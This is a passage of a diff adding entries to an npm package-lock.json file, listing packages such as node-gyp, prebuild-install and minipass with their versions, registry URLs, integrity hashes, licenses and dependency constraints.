"sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/https-proxy-agent/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT", + "optional": true + }, + "node_modules/humanize-ms": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", + "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "license": "ISC", + "optional": true + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "license": "ISC", + "optional": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "license": "ISC" + }, + "node_modules/ip-address": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz", + "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==", + "license": "MIT", + "optional": true, + "dependencies": { + "jsbn": "1.1.0", + "sprintf-js": "^1.1.3" + }, + "engines": { + "node": ">= 12" + } + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-lambda": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", + "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "license": "MIT", + "optional": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC", + "optional": true + }, + "node_modules/jake": { + "version": "10.9.2", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.2.tgz", + "integrity": "sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==", + "license": "Apache-2.0", + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jsbn": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz", + "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==", + "license": "MIT", + "optional": true + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-fetch-happen": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", + "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "license": "ISC", + "optional": true, + "dependencies": { + "agentkeepalive": "^4.1.3", + "cacache": "^15.2.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^6.0.0", + "minipass": "^3.1.3", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^1.3.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.2", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^6.0.0", + "ssri": "^8.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-collect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", + "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-fetch": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", + "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", + "license": "MIT", + "optional": true, + "dependencies": { + "minipass": "^3.1.0", + "minipass-sized": "^1.0.3", + "minizlib": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "optionalDependencies": { + "encoding": "^0.1.12" + } + }, + "node_modules/minipass-flush": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", + "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-pipeline": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", + "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-sized": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", + "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "license": "ISC", + "optional": true, + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "license": "MIT" + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/napi-build-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", + "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", + "license": "MIT" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/node-abi": { + "version": "3.68.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.68.0.tgz", + "integrity": "sha512-7vbj10trelExNjFSBm5kTvZXXa7pZyKWx9RCKIyqe6I9Ev3IzGpQoqBP3a+cOdxY+pWj6VkP28n/2wWysBHD/A==", + "license": "MIT", + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", + "license": "MIT" + }, + "node_modules/node-gyp": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", + "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", + "license": "MIT", + "optional": true, + "dependencies": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.6", + "make-fetch-happen": "^9.1.0", + "nopt": "^5.0.0", + "npmlog": "^6.0.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.2", + "which": "^2.0.2" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": ">= 10.12.0" + } + }, + "node_modules/nopt": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", + "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "abbrev": "1" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npmlog": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", + "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "are-we-there-yet": "^3.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^4.0.3", + "set-blocking": "^2.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz", + "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.10", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.10.tgz", + "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==", + "license": "MIT" + }, + "node_modules/prebuild-install": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.2.tgz", + "integrity": "sha512-UnNke3IQb6sgarcZIDU3gbMeTp/9SSU1DAIkil7PrqG1vZlBtY5msYccSKSHDqa3hNg436IXK+SNImReuA1wEQ==", + "license": "MIT", + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^1.0.1", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/promise-inflight": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", + "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", + "license": "ISC", + "optional": true + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "license": "MIT", + "optional": true, + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/pump": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.2.tgz", + "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==", + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + 